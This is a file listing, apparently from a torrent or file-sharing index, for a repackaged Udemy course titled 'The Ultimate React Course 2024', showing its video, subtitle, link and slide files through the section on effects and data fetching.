[GigaCourse.Com] Udemy - The Ultimate React Course 2024 React, Redux & More

mp4   Hot:15   Size:24.77 GB   Created:2024-03-04 09:46:43   Update:2024-07-06 15:24:44  

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    01 - Welcome, Welcome, Welcome!/001 Course Roadmap and Projects.mp4 44.94 MB
    01 - Welcome, Welcome, Welcome!/001 Course Roadmap and Projects_en.srt 4.03 KB
    01 - Welcome, Welcome, Welcome!/002 Building Our First React App!.mp4 115.82 MB
    01 - Welcome, Welcome, Welcome!/002 Building Our First React App!_en.srt 28.21 KB
    01 - Welcome, Welcome, Welcome!/002 CodeSandbox-link.url 78 B
    01 - Welcome, Welcome, Welcome!/003 Watch Before You Start!.mp4 17.58 MB
    01 - Welcome, Welcome, Welcome!/003 Watch Before You Start!_en.srt 7.44 KB
    01 - Welcome, Welcome, Welcome!/004 GitHub-repository.url 81 B
    01 - Welcome, Welcome, Welcome!/004 Read Before You Start!.html 1.46 KB
    01 - Welcome, Welcome, Welcome!/004 theory-slides.pdf 48.4 MB
    01 - Welcome, Welcome, Welcome!/005 Downloading Course Material.mp4 17.61 MB
    01 - Welcome, Welcome, Welcome!/005 Downloading Course Material_en.srt 5.07 KB
    01 - Welcome, Welcome, Welcome!/005 GitHub-repository.url 81 B
    01 - Welcome, Welcome, Welcome!/[CourseClub.Me].url 122 B
    01 - Welcome, Welcome, Welcome!/[GigaCourse.Com].url 49 B
    01 - Welcome, Welcome, Welcome!/external-links.txt 248 B
    02 - PART 1 REACT FUNDAMENTALS [4 PROJECTS]/001 Introduction to Part 1.mp4 9.43 MB
    02 - PART 1 REACT FUNDAMENTALS [4 PROJECTS]/001 Introduction to Part 1_en.srt 1.2 KB
    02 - PART 1 REACT FUNDAMENTALS [4 PROJECTS]/002 Useful Resources for Part 1.html 1.01 KB
    03 - A First Look at React/001 Section Overview.mp4 2.23 MB
    03 - A First Look at React/001 Section Overview_en.srt 857 B
    03 - A First Look at React/002 Why Do Front-End Frameworks Exist.mp4 34.07 MB
    03 - A First Look at React/002 Why Do Front-End Frameworks Exist_en.srt 15.64 KB
    03 - A First Look at React/003 CodeSandbox-link.url 78 B
    03 - A First Look at React/003 React vs. Vanilla JavaScript.mp4 63.86 MB
    03 - A First Look at React/003 React vs. Vanilla JavaScript_en.srt 11.38 KB
    03 - A First Look at React/004 What is React.mp4 30.86 MB
    03 - A First Look at React/004 What is React_en.srt 14.01 KB
    03 - A First Look at React/005 Setting Up Our Development Environment.mp4 47.26 MB
    03 - A First Look at React/005 Setting Up Our Development Environment_en.srt 13.51 KB
    03 - A First Look at React/006 Get-React-URL-from-here.url 157 B
    03 - A First Look at React/006 Pure React.mp4 48.1 MB
    03 - A First Look at React/006 Pure React_en.srt 21.79 KB
    03 - A First Look at React/007 A Quick Look at React's Official Documentation.mp4 18.89 MB
    03 - A First Look at React/007 A Quick Look at React's Official Documentation_en.srt 4.6 KB
    03 - A First Look at React/008 Setting Up a New React Project The Options.mp4 23.17 MB
    03 - A First Look at React/008 Setting Up a New React Project The Options_en.srt 10.42 KB
    03 - A First Look at React/009 Setting Up a Project With Create-React-App.mp4 49.98 MB
    03 - A First Look at React/009 Setting Up a Project With Create-React-App_en.srt 20.33 KB
    03 - A First Look at React/external-links.txt 246 B
    04 - [Optional] Review of Essential JavaScript for React/001 Section Overview.mp4 3.6 MB
    04 - [Optional] Review of Essential JavaScript for React/001 Section Overview_en.srt 1.33 KB
    04 - [Optional] Review of Essential JavaScript for React/002 Destructuring Objects and Arrays.mp4 37.97 MB
    04 - [Optional] Review of Essential JavaScript for React/002 Destructuring Objects and Arrays_en.srt 15.2 KB
    04 - [Optional] Review of Essential JavaScript for React/003 RestSpread Operator.mp4 38.72 MB
    04 - [Optional] Review of Essential JavaScript for React/003 RestSpread Operator_en.srt 13.88 KB
    04 - [Optional] Review of Essential JavaScript for React/004 Template Literals.mp4 26.44 MB
    04 - [Optional] Review of Essential JavaScript for React/004 Template Literals_en.srt 7.31 KB
    04 - [Optional] Review of Essential JavaScript for React/005 Ternaries Instead of ifelse Statements.mp4 38.29 MB
    04 - [Optional] Review of Essential JavaScript for React/005 Ternaries Instead of ifelse Statements_en.srt 8.01 KB
    04 - [Optional] Review of Essential JavaScript for React/006 Arrow Functions.mp4 34.15 MB
    04 - [Optional] Review of Essential JavaScript for React/006 Arrow Functions_en.srt 7.16 KB
    04 - [Optional] Review of Essential JavaScript for React/007 Short-Circuiting And Logical Operators &&, ,.mp4 68.3 MB
    04 - [Optional] Review of Essential JavaScript for React/007 Short-Circuiting And Logical Operators &&, ,_en.srt 14.2 KB
    04 - [Optional] Review of Essential JavaScript for React/008 Optional Chaining.mp4 42.13 MB
    04 - [Optional] Review of Essential JavaScript for React/008 Optional Chaining_en.srt 9.71 KB
    04 - [Optional] Review of Essential JavaScript for React/009 The Array map Method.mp4 46.99 MB
    04 - [Optional] Review of Essential JavaScript for React/009 The Array map Method_en.srt 12.34 KB
    04 - [Optional] Review of Essential JavaScript for React/010 The Array filter Method.mp4 58.01 MB
    04 - [Optional] Review of Essential JavaScript for React/010 The Array filter Method_en.srt 11.84 KB
    04 - [Optional] Review of Essential JavaScript for React/011 The Array reduce Method.mp4 46.72 MB
    04 - [Optional] Review of Essential JavaScript for React/011 The Array reduce Method_en.srt 11 KB
    04 - [Optional] Review of Essential JavaScript for React/012 The Array sort Method.mp4 30.9 MB
    04 - [Optional] Review of Essential JavaScript for React/012 The Array sort Method_en.srt 8.92 KB
    04 - [Optional] Review of Essential JavaScript for React/013 Working With Immutable Arrays.mp4 42.14 MB
    04 - [Optional] Review of Essential JavaScript for React/013 Working With Immutable Arrays_en.srt 14.84 KB
    04 - [Optional] Review of Essential JavaScript for React/014 Asynchronous JavaScript Promises.mp4 31.12 MB
    04 - [Optional] Review of Essential JavaScript for React/014 Asynchronous JavaScript Promises_en.srt 12.2 KB
    04 - [Optional] Review of Essential JavaScript for React/015 Asynchronous JavaScript AsyncAwait.mp4 18.54 MB
    04 - [Optional] Review of Essential JavaScript for React/015 Asynchronous JavaScript AsyncAwait_en.srt 10.39 KB
    05 - Working With Components, Props, and JSX/001 Section Overview.mp4 2.74 MB
    05 - Working With Components, Props, and JSX/001 Section Overview_en.srt 1.2 KB
    05 - Working With Components, Props, and JSX/002 Rendering the Root Component and Strict Mode.mp4 26.48 MB
    05 - Working With Components, Props, and JSX/002 Rendering the Root Component and Strict Mode_en.srt 10.62 KB
    05 - Working With Components, Props, and JSX/003 Before We Start Coding Debugging.mp4 56.41 MB
    05 - Working With Components, Props, and JSX/003 Before We Start Coding Debugging_en.srt 15.84 KB
    05 - Working With Components, Props, and JSX/004 Components as Building Blocks.mp4 11.59 MB
    05 - Working With Components, Props, and JSX/004 Components as Building Blocks_en.srt 6.87 KB
    05 - Working With Components, Props, and JSX/005 Creating And Reusing a Component.mp4 82.59 MB
    05 - Working With Components, Props, and JSX/005 Creating And Reusing a Component_en.srt 13.75 KB
    05 - Working With Components, Props, and JSX/006 What is JSX.mp4 15.31 MB
    05 - Working With Components, Props, and JSX/006 What is JSX_en.srt 8.78 KB
    05 - Working With Components, Props, and JSX/007 Creating More Components.mp4 38.65 MB
    05 - Working With Components, Props, and JSX/007 Creating More Components_en.srt 10.9 KB
    05 - Working With Components, Props, and JSX/008 JavaScript Logic in Components.mp4 31.36 MB
    05 - Working With Components, Props, and JSX/008 JavaScript Logic in Components_en.srt 5.58 KB
    05 - Working With Components, Props, and JSX/009 Separation of Concerns.mp4 15.61 MB
    05 - Working With Components, Props, and JSX/009 Separation of Concerns_en.srt 8.46 KB
    05 - Working With Components, Props, and JSX/010 Styling React Applications.mp4 93.69 MB
    05 - Working With Components, Props, and JSX/010 Styling React Applications_en.srt 16.77 KB
    05 - Working With Components, Props, and JSX/011 Passing and Receiving Props.mp4 65.55 MB
    05 - Working With Components, Props, and JSX/011 Passing and Receiving Props_en.srt 12.58 KB
    05 - Working With Components, Props, and JSX/012 Props, Immutability, and One-Way Data Flow.mp4 15.03 MB
    05 - Working With Components, Props, and JSX/012 Props, Immutability, and One-Way Data Flow_en.srt 9.88 KB
    05 - Working With Components, Props, and JSX/013 CHALLENGE #1 Profile Card (v1).mp4 139.73 MB
    05 - Working With Components, Props, and JSX/013 CHALLENGE #1 Profile Card (v1)_en.srt 23.61 KB
    05 - Working With Components, Props, and JSX/013 CodeSandbox-link-FINAL-v1.url 92 B
    05 - Working With Components, Props, and JSX/013 CodeSandbox-link-STARTER.url 91 B
    05 - Working With Components, Props, and JSX/014 The Rules of JSX.mp4 15.36 MB
    05 - Working With Components, Props, and JSX/014 The Rules of JSX_en.srt 5.14 KB
    05 - Working With Components, Props, and JSX/015 Rendering Lists.mp4 76.61 MB
    05 - Working With Components, Props, and JSX/015 Rendering Lists_en.srt 16.14 KB
    05 - Working With Components, Props, and JSX/016 Conditional Rendering With &&.mp4 62.92 MB
    05 - Working With Components, Props, and JSX/016 Conditional Rendering With &&_en.srt 13.86 KB
    05 - Working With Components, Props, and JSX/017 Conditional Rendering With Ternaries.mp4 33.42 MB
    05 - Working With Components, Props, and JSX/017 Conditional Rendering With Ternaries_en.srt 6.21 KB
    05 - Working With Components, Props, and JSX/018 Conditional Rendering With Multiple Returns.mp4 38.11 MB
    05 - Working With Components, Props, and JSX/018 Conditional Rendering With Multiple Returns_en.srt 7.01 KB
    05 - Working With Components, Props, and JSX/019 Extracting JSX Into a New Component.mp4 32.48 MB
    05 - Working With Components, Props, and JSX/019 Extracting JSX Into a New Component_en.srt 6.4 KB
    05 - Working With Components, Props, and JSX/020 Destructuring Props.mp4 35.02 MB
    05 - Working With Components, Props, and JSX/020 Destructuring Props_en.srt 6.8 KB
    05 - Working With Components, Props, and JSX/021 React Fragments.mp4 39.81 MB
    05 - Working With Components, Props, and JSX/021 React Fragments_en.srt 7.8 KB
    05 - Working With Components, Props, and JSX/022 Setting Classes and Text Conditionally.mp4 53.8 MB
    05 - Working With Components, Props, and JSX/022 Setting Classes and Text Conditionally_en.srt 11.34 KB
    05 - Working With Components, Props, and JSX/023 Section Summary.mp4 12.16 MB
    05 - Working With Components, Props, and JSX/023 Section Summary_en.srt 8.23 KB
    05 - Working With Components, Props, and JSX/024 CHALLENGE #2 Profile Card (v2).mp4 70.25 MB
    05 - Working With Components, Props, and JSX/024 CHALLENGE #2 Profile Card (v2)_en.srt 10.71 KB
    05 - Working With Components, Props, and JSX/024 CodeSandbox-link-FINAL-v2.url 92 B
    05 - Working With Components, Props, and JSX/external-links.txt 307 B
    06 - State, Events, and Forms Interactive Components/001 Section Overview.mp4 2.23 MB
    06 - State, Events, and Forms Interactive Components/001 Section Overview_en.srt 1.36 KB
    06 - State, Events, and Forms Interactive Components/002 Let's Build a Steps Component.mp4 46.82 MB
    06 - State, Events, and Forms Interactive Components/002 Let's Build a Steps Component_en.srt 20.25 KB
    06 - State, Events, and Forms Interactive Components/003 Handling Events the React Way.mp4 38.61 MB
    06 - State, Events, and Forms Interactive Components/003 Handling Events the React Way_en.srt 10.89 KB
    06 - State, Events, and Forms Interactive Components/004 What is State in React.mp4 13.45 MB
    06 - State, Events, and Forms Interactive Components/004 What is State in React_en.srt 9.07 KB
    06 - State, Events, and Forms Interactive Components/005 Creating a State Variable With useState.mp4 37.44 MB
    06 - State, Events, and Forms Interactive Components/005 Creating a State Variable With useState_en.srt 13.19 KB
    06 - State, Events, and Forms Interactive Components/006 Don't Set State Manually!.mp4 19.03 MB
    06 - State, Events, and Forms Interactive Components/006 Don't Set State Manually!_en.srt 7.4 KB
    06 - State, Events, and Forms Interactive Components/007 The Mechanics of State.mp4 24.46 MB
    06 - State, Events, and Forms Interactive Components/007 The Mechanics of State_en.srt 6.92 KB
    06 - State, Events, and Forms Interactive Components/008 Adding Another Piece of State.mp4 54.93 MB
    06 - State, Events, and Forms Interactive Components/008 Adding Another Piece of State_en.srt 12.96 KB
    06 - State, Events, and Forms Interactive Components/009 React Developer Tools.mp4 26.34 MB
    06 - State, Events, and Forms Interactive Components/009 React Developer Tools_en.srt 9.6 KB
    06 - State, Events, and Forms Interactive Components/010 Updating State Based on Current State.mp4 25.44 MB
    06 - State, Events, and Forms Interactive Components/010 Updating State Based on Current State_en.srt 7.74 KB
    06 - State, Events, and Forms Interactive Components/011 More Thoughts About State + State Guidelines.mp4 25.3 MB
    06 - State, Events, and Forms Interactive Components/011 More Thoughts About State + State Guidelines_en.srt 9.69 KB
    06 - State, Events, and Forms Interactive Components/012 A Vanilla JavaScript Implementation.mp4 29.08 MB
    06 - State, Events, and Forms Interactive Components/012 A Vanilla JavaScript Implementation_en.srt 9.87 KB
    06 - State, Events, and Forms Interactive Components/013 CHALLENGE #1 Date Counter (v1).mp4 36.08 MB
    06 - State, Events, and Forms Interactive Components/013 CHALLENGE #1 Date Counter (v1)_en.srt 17.52 KB
    06 - State, Events, and Forms Interactive Components/013 CodeSandbox-link-FINAL-v1.url 93 B
    06 - State, Events, and Forms Interactive Components/014 Starting a New Project The Far Away Travel List.mp4 8.42 MB
    06 - State, Events, and Forms Interactive Components/014 Starting a New Project The Far Away Travel List_en.srt 6.3 KB
    06 - State, Events, and Forms Interactive Components/015 Building the Layout.mp4 20.07 MB
    06 - State, Events, and Forms Interactive Components/015 Building the Layout_en.srt 13.74 KB
    06 - State, Events, and Forms Interactive Components/016 Rendering the Items List.mp4 34.71 MB
    06 - State, Events, and Forms Interactive Components/016 Rendering the Items List_en.srt 11.74 KB
    06 - State, Events, and Forms Interactive Components/017 Building a Form and Handling Submissions.mp4 75.48 MB
    06 - State, Events, and Forms Interactive Components/017 Building a Form and Handling Submissions_en.srt 17.99 KB
    06 - State, Events, and Forms Interactive Components/018 Controlled Elements.mp4 117.95 MB
    06 - State, Events, and Forms Interactive Components/018 Controlled Elements_en.srt 26.62 KB
    06 - State, Events, and Forms Interactive Components/019 State vs. Props.mp4 9.48 MB
    06 - State, Events, and Forms Interactive Components/019 State vs. Props_en.srt 5.29 KB
    06 - State, Events, and Forms Interactive Components/020 CodeSandbox-link-FINAL.url 87 B
    06 - State, Events, and Forms Interactive Components/020 CodeSandbox-link-STARTER.url 89 B
    06 - State, Events, and Forms Interactive Components/020 EXERCISE #1 Flashcards.mp4 94.31 MB
    06 - State, Events, and Forms Interactive Components/020 EXERCISE #1 Flashcards_en.srt 19.08 KB
    06 - State, Events, and Forms Interactive Components/021 CHALLENGE #2 Date Counter (v2).mp4 59.77 MB
    06 - State, Events, and Forms Interactive Components/021 CHALLENGE #2 Date Counter (v2)_en.srt 14.83 KB
    06 - State, Events, and Forms Interactive Components/021 CodeSandbox-link-FINAL-v2.url 93 B
    06 - State, Events, and Forms Interactive Components/external-links.txt 402 B
    07 - Thinking In React State Management/001 Section Overview.mp4 2.06 MB
    07 - Thinking In React State Management/001 Section Overview_en.srt 1.42 KB
    07 - Thinking In React State Management/002 What is Thinking in React.mp4 10.98 MB
    07 - Thinking In React State Management/002 What is Thinking in React_en.srt 7.42 KB
    07 - Thinking In React State Management/003 Fundamentals of State Management.mp4 41.85 MB
    07 - Thinking In React State Management/003 Fundamentals of State Management_en.srt 14.18 KB
    07 - Thinking In React State Management/004 Thinking About State and Lifting State Up.mp4 96.59 MB
    07 - Thinking In React State Management/004 Thinking About State and Lifting State Up_en.srt 23.48 KB
    07 - Thinking In React State Management/005 Reviewing Lifting Up State.mp4 16.08 MB
    07 - Thinking In React State Management/005 Reviewing Lifting Up State_en.srt 10.3 KB
    07 - Thinking In React State Management/006 Deleting an Item More Child-to-Parent Communication!.mp4 54.31 MB
    07 - Thinking In React State Management/006 Deleting an Item More Child-to-Parent Communication!_en.srt 11.87 KB
    07 - Thinking In React State Management/007 Updating an Item Complex Immutable Data Operation.mp4 50.49 MB
    07 - Thinking In React State Management/007 Updating an Item Complex Immutable Data Operation_en.srt 11.08 KB
    07 - Thinking In React State Management/008 Derived State.mp4 9.67 MB
    07 - Thinking In React State Management/008 Derived State_en.srt 4.47 KB
    07 - Thinking In React State Management/009 Calculating Statistics as Derived State.mp4 71.47 MB
    07 - Thinking In React State Management/009 Calculating Statistics as Derived State_en.srt 14.66 KB
    07 - Thinking In React State Management/010 Sorting Items.mp4 68.54 MB
    07 - Thinking In React State Management/010 Sorting Items_en.srt 14.81 KB
    07 - Thinking In React State Management/011 Clearing the List.mp4 34.57 MB
    07 - Thinking In React State Management/011 Clearing the List_en.srt 7.11 KB
    07 - Thinking In React State Management/012 Moving Components Into Separate Files.mp4 70.58 MB
    07 - Thinking In React State Management/012 Moving Components Into Separate Files_en.srt 13.58 KB
    07 - Thinking In React State Management/013 CodeSandbox-link-FINAL-v1.url 89 B
    07 - Thinking In React State Management/013 CodeSandbox-link-STARTER.url 88 B
    07 - Thinking In React State Management/013 EXERCISE #1 Accordion Component (v1).mp4 81.17 MB
    07 - Thinking In React State Management/013 EXERCISE #1 Accordion Component (v1)_en.srt 18.66 KB
    07 - Thinking In React State Management/014 The children Prop Making a Reusable Button.mp4 79.44 MB
    07 - Thinking In React State Management/014 The children Prop Making a Reusable Button_en.srt 22.22 KB
    07 - Thinking In React State Management/015 More Reusability With the children Prop.mp4 62.84 MB
    07 - Thinking In React State Management/015 More Reusability With the children Prop_en.srt 11.09 KB
    07 - Thinking In React State Management/016 CodeSandbox-link-FINAL-v2.url 89 B
    07 - Thinking In React State Management/016 EXERCISE #2 Accordion Component (v2).mp4 54.87 MB
    07 - Thinking In React State Management/016 EXERCISE #2 Accordion Component (v2)_en.srt 12.88 KB
    07 - Thinking In React State Management/017 CHALLENGE #1 Tip Calculator.mp4 56.4 MB
    07 - Thinking In React State Management/017 CHALLENGE #1 Tip Calculator_en.srt 26.34 KB
    07 - Thinking In React State Management/017 CodeSandbox-link-FINAL.url 95 B
    07 - Thinking In React State Management/external-links.txt 401 B
    08 - [Optional] Practice Project Eat-'N-Split/001 Section Overview.mp4 1.61 MB
    08 - [Optional] Practice Project Eat-'N-Split/001 Section Overview_en.srt 1.14 KB
    08 - [Optional] Practice Project Eat-'N-Split/002 Project Setup.mp4 6.59 MB
    08 - [Optional] Practice Project Eat-'N-Split/002 Project Setup_en.srt 5.68 KB
    08 - [Optional] Practice Project Eat-'N-Split/003 Building the Static App List of Friends.mp4 56.86 MB
    08 - [Optional] Practice Project Eat-'N-Split/003 Building the Static App List of Friends_en.srt 17.24 KB
    08 - [Optional] Practice Project Eat-'N-Split/004 Building the Static App Forms.mp4 53.72 MB
    08 - [Optional] Practice Project Eat-'N-Split/004 Building the Static App Forms_en.srt 11.58 KB
    08 - [Optional] Practice Project Eat-'N-Split/005 Displaying the New Friend Form.mp4 40.22 MB
    08 - [Optional] Practice Project Eat-'N-Split/005 Displaying the New Friend Form_en.srt 8.76 KB
    08 - [Optional] Practice Project Eat-'N-Split/006 Adding a New Friend.mp4 118.7 MB
    08 - [Optional] Practice Project Eat-'N-Split/006 Adding a New Friend_en.srt 25.68 KB
    08 - [Optional] Practice Project Eat-'N-Split/007 Selecting a Friend.mp4 97.64 MB
    08 - [Optional] Practice Project Eat-'N-Split/007 Selecting a Friend_en.srt 20.63 KB
    08 - [Optional] Practice Project Eat-'N-Split/008 Creating Controlled Elements.mp4 65.98 MB
    08 - [Optional] Practice Project Eat-'N-Split/008 Creating Controlled Elements_en.srt 12.88 KB
    08 - [Optional] Practice Project Eat-'N-Split/009 Splitting a Bill.mp4 90.48 MB
    08 - [Optional] Practice Project Eat-'N-Split/009 Splitting a Bill_en.srt 18.11 KB
    09 - PART 2 INTERMEDIATE REACT [2 PROJECTS]/001 Introduction to Part 2.mp4 13.83 MB
    09 - PART 2 INTERMEDIATE REACT [2 PROJECTS]/001 Introduction to Part 2_en.srt 1.6 KB
    09 - PART 2 INTERMEDIATE REACT [2 PROJECTS]/002 Useful Resources for Part 2.html 3.5 KB
    10 - Thinking in React Components, Composition, and Reusability/001 Section Overview.mp4 2.68 MB
    10 - Thinking in React Components, Composition, and Reusability/001 Section Overview_en.srt 1.28 KB
    10 - Thinking in React Components, Composition, and Reusability/002 Setting Up the usePopcorn Project.mp4 7.74 MB
    10 - Thinking in React Components, Composition, and Reusability/002 Setting Up the usePopcorn Project_en.srt 6.53 KB
    10 - Thinking in React Components, Composition, and Reusability/003 How to Split a UI Into Components.mp4 37.41 MB
    10 - Thinking in React Components, Composition, and Reusability/003 How to Split a UI Into Components_en.srt 18.92 KB
    10 - Thinking in React Components, Composition, and Reusability/004 Splitting Components in Practice.mp4 156.75 MB
    10 - Thinking in React Components, Composition, and Reusability/004 Splitting Components in Practice_en.srt 33.76 KB
    10 - Thinking in React Components, Composition, and Reusability/005 Component Categories.mp4 5.95 MB
    10 - Thinking in React Components, Composition, and Reusability/005 Component Categories_en.srt 3.81 KB
    10 - Thinking in React Components, Composition, and Reusability/006 Prop Drilling.mp4 50.82 MB
    10 - Thinking in React Components, Composition, and Reusability/006 Prop Drilling_en.srt 10.88 KB
    10 - Thinking in React Components, Composition, and Reusability/007 Component Composition.mp4 11.8 MB
    10 - Thinking in React Components, Composition, and Reusability/007 Component Composition_en.srt 6.53 KB
    10 - Thinking in React Components, Composition, and Reusability/008 Fixing Prop Drilling With Composition (And Building a Layout).mp4 58.6 MB
    10 - Thinking in React Components, Composition, and Reusability/008 Fixing Prop Drilling With Composition (And Building a Layout)_en.srt 12.63 KB
    10 - Thinking in React Components, Composition, and Reusability/009 Using Composition to Make a Reusable Box.mp4 41.19 MB
    10 - Thinking in React Components, Composition, and Reusability/009 Using Composition to Make a Reusable Box_en.srt 9.1 KB
    10 - Thinking in React Components, Composition, and Reusability/010 Passing Elements as Props (Alternative to children).mp4 33.36 MB
    10 - Thinking in React Components, Composition, and Reusability/010 Passing Elements as Props (Alternative to children)_en.srt 7.19 KB
    10 - Thinking in React Components, Composition, and Reusability/011 Building a Reusable Star Rating Component.mp4 62.06 MB
    10 - Thinking in React Components, Composition, and Reusability/011 Building a Reusable Star Rating Component_en.srt 15.44 KB
    10 - Thinking in React Components, Composition, and Reusability/012 Creating the Stars.mp4 106.42 MB
    10 - Thinking in React Components, Composition, and Reusability/012 Creating the Stars_en.srt 16.95 KB
    10 - Thinking in React Components, Composition, and Reusability/013 Handling Hover Events.mp4 49.8 MB
    10 - Thinking in React Components, Composition, and Reusability/013 Handling Hover Events_en.srt 10.05 KB
    10 - Thinking in React Components, Composition, and Reusability/014 Props as a Component API.mp4 10.01 MB
    10 - Thinking in React Components, Composition, and Reusability/014 Props as a Component API_en.srt 6.67 KB
    10 - Thinking in React Components, Composition, and Reusability/015 Improving Reusability With Props.mp4 107.17 MB
    10 - Thinking in React Components, Composition, and Reusability/015 Improving Reusability With Props_en.srt 27.19 KB
    10 - Thinking in React Components, Composition, and Reusability/016 PropTypes.mp4 31.3 MB
    10 - Thinking in React Components, Composition, and Reusability/016 PropTypes_en.srt 9.96 KB
    10 - Thinking in React Components, Composition, and Reusability/017 CHALLENGE #1 Text Expander Component.mp4 100.87 MB
    10 - Thinking in React Components, Composition, and Reusability/017 CHALLENGE #1 Text Expander Component_en.srt 25.91 KB
    10 - Thinking in React Components, Composition, and Reusability/017 CodeSandbox-link-FINAL.url 91 B
    10 - Thinking in React Components, Composition, and Reusability/017 CodeSandbox-link-STARTER.url 93 B
    10 - Thinking in React Components, Composition, and Reusability/[CourseClub.Me].url 122 B
    10 - Thinking in React Components, Composition, and Reusability/[GigaCourse.Com].url 49 B
    10 - Thinking in React Components, Composition, and Reusability/external-links.txt 202 B
    11 - How React Works Behind the Scenes/001 Section Overview.mp4 7.75 MB
    11 - How React Works Behind the Scenes/001 Section Overview_en.srt 2.66 KB
    11 - How React Works Behind the Scenes/002 Project Setup and Walkthrough.mp4 49.19 MB
    11 - How React Works Behind the Scenes/002 Project Setup and Walkthrough_en.srt 16.43 KB
    11 - How React Works Behind the Scenes/003 Components, Instances, and Elements.mp4 26.35 MB
    11 - How React Works Behind the Scenes/003 Components, Instances, and Elements_en.srt 7.11 KB
    11 - How React Works Behind the Scenes/004 Instances and Elements in Practice.mp4 63.58 MB
    11 - How React Works Behind the Scenes/004 Instances and Elements in Practice_en.srt 10.44 KB
    11 - How React Works Behind the Scenes/005 How Rendering Works Overview.mp4 14.77 MB
    11 - How React Works Behind the Scenes/005 How Rendering Works Overview_en.srt 10.86 KB
    11 - How React Works Behind the Scenes/006 How Rendering Works The Render Phase.mp4 79.05 MB
    11 - How React Works Behind the Scenes/006 How Rendering Works The Render Phase_en.srt 25.41 KB
    11 - How React Works Behind the Scenes/007 How Rendering Works The Commit Phase.mp4 26.53 MB
    11 - How React Works Behind the Scenes/007 How Rendering Works The Commit Phase_en.srt 16.81 KB
    11 - How React Works Behind the Scenes/008 How Diffing Works.mp4 13.83 MB
    11 - How React Works Behind the Scenes/008 How Diffing Works_en.srt 8.32 KB
    11 - How React Works Behind the Scenes/009 Diffing Rules in Practice.mp4 30.26 MB
    11 - How React Works Behind the Scenes/009 Diffing Rules in Practice_en.srt 7.86 KB
    11 - How React Works Behind the Scenes/010 The Key Prop.mp4 16.83 MB
    11 - How React Works Behind the Scenes/010 The Key Prop_en.srt 11.06 KB
    11 - How React Works Behind the Scenes/011 Resetting State With the Key Prop.mp4 24.42 MB
    11 - How React Works Behind the Scenes/011 Resetting State With the Key Prop_en.srt 5.75 KB
    11 - How React Works Behind the Scenes/012 Using the Key Prop to Fix Our Eat-'N-Split App.mp4 26.93 MB
    11 - How React Works Behind the Scenes/012 Using the Key Prop to Fix Our Eat-'N-Split App_en.srt 5.9 KB
    11 - How React Works Behind the Scenes/013 Rules for Render Logic Pure Components.mp4 22.4 MB
    11 - How React Works Behind the Scenes/013 Rules for Render Logic Pure Components_en.srt 13.25 KB
    11 - How React Works Behind the Scenes/014 State Update Batching.mp4 21.3 MB
    11 - How React Works Behind the Scenes/014 State Update Batching_en.srt 13.13 KB
    11 - How React Works Behind the Scenes/015 State Update Batching in Practice.mp4 98.89 MB
    11 - How React Works Behind the Scenes/015 State Update Batching in Practice_en.srt 21.42 KB
    11 - How React Works Behind the Scenes/016 How Events Work in React.mp4 33.76 MB
    11 - How React Works Behind the Scenes/016 How Events Work in React_en.srt 20.21 KB
    11 - How React Works Behind the Scenes/017 Libraries vs. Frameworks & The React Ecosystem.mp4 24.76 MB
    11 - How React Works Behind the Scenes/017 Libraries vs. Frameworks & The React Ecosystem_en.srt 14.85 KB
    11 - How React Works Behind the Scenes/018 Section Summary Practical Takeaways.mp4 36.73 MB
    11 - How React Works Behind the Scenes/018 Section Summary Practical Takeaways_en.srt 16.21 KB
    12 - Effects and Data Fetching/001 Section Overview.mp4 2.2 MB
    12 - Effects and Data Fetching/001 Section Overview_en.srt 1.19 KB
    12 - Effects and Data Fetching/002 The Component Lifecycle.mp4 8.55 MB
    12 - Effects and Data Fetching/002 The Component Lifecycle_en.srt 6.42 KB
    12 - Effects and Data Fetching/003 How NOT to Fetch Data in React.mp4 62 MB
    12 - Effects and Data Fetching/003 How NOT to Fetch Data in React_en.srt 14.47 KB
    12 - Effects and Data Fetching/004 useEffect to the Rescue.mp4 28.75 MB
    12 - Effects and Data Fetching/004 useEffect to the Rescue_en.srt 6.54 KB
    12 - Effects and Data Fetching/005 A First Look at Effects.mp4 15.62 MB
    12 - Effects and Data Fetching/005 A First Look at Effects_en.srt 9.02 KB
    12 - Effects and Data Fetching/006 Using an async Function.mp4 36.05 MB
    12 - Effects and Data Fetching/006 Using an async Function_en.srt 7.67 KB
    12 - Effects and Data Fetching/007 Adding a Loading State.mp4 25.16 MB
    12 - Effects and Data Fetching/007 Adding a Loading State_en.srt 5.05 KB
    12 - Effects and Data Fetching/008 Handling Errors.mp4 51.52 MB
    12 - Effects and Data Fetching/008 Handling Errors_en.srt 17.45 KB
    12 - Effects and Data Fetching/009 The useEffect Dependency Array.mp4 27.3 MB
    12 - Effects and Data Fetching/009 The useEffect Dependency Array_en.srt 18.09 KB
    12 - Effects and Data Fetching/010 Synchronizing Queries With Movie Data.mp4 98.2 MB
    12 - Effects and Data Fetching/010 Synchronizing Queries With Movie Data_en.srt 20.66 KB
    12 - Effects and Data Fetching/011 Selecting a Movie.mp4 132.47 MB
    12 - Effects and Data Fetching/011 Selecting a Movie_en.srt 17.92 KB
    12 - Effects and Data Fetching/012 Loading Movie Details.mp4 158.82 MB
    12 - Effects and Data Fetching/012 Loading Movie Details_en.srt 22.61 KB
    12 - Effects and Data Fetching/013 Adding a Watched Movie.mp4 270.18 MB
    12 - Effects and Data Fetching/013 Adding a Watched Movie_en.srt 32.71 KB
    12 - Effects and Data Fetching/014 Adding a New Effect Changing Page Title.mp4 59.37 MB
    12 - Effects and Data Fetching/014 Adding a New Effect Changing Page Title_en.srt 11.6 KB
    12 - Effects and Data Fetching/015 The useEffect Cleanup Function.mp4 10.62 MB
    12 - Effects and Data Fetching/015 The useEffect Cleanup Function_en.srt 6.13 KB
    12 - Effects and Data Fetching/016 Cleaning Up the Title.mp4 32.42 MB
    12 - Effects and Data Fetching/016 Cleaning Up the Title_en.srt 7.5 KB
    12 - Effects and Data Fetching/017 Cleaning Up Data Fetching.mp4 81.51 MB
    12 - Effects and Data Fetching/017 Cleaning Up Data Fetching_en.srt 15.03 KB
    12 - Effects and Data Fetching/018 One More Effect Listening to a Keypress.mp4 94.17 MB
    12 - Effects and Data Fetching/018 One More Effect Listening to a Keypress_en.srt 20.59 KB
    12 - Effects and Data Fetching/019 CHALLENGE #1 Currency Converter.mp4 68.94 MB
    12 - Effects and Data Fetching/019 CHALLENGE #1 Currency Converter_en.srt 22.6 KB
    12 - Effects and Data Fetching/019 CodeSandbox-link-FINAL.url 96 B
    12 - Effects and Data Fetching/019 CodeSandbox-link-STARTER.url 98 B
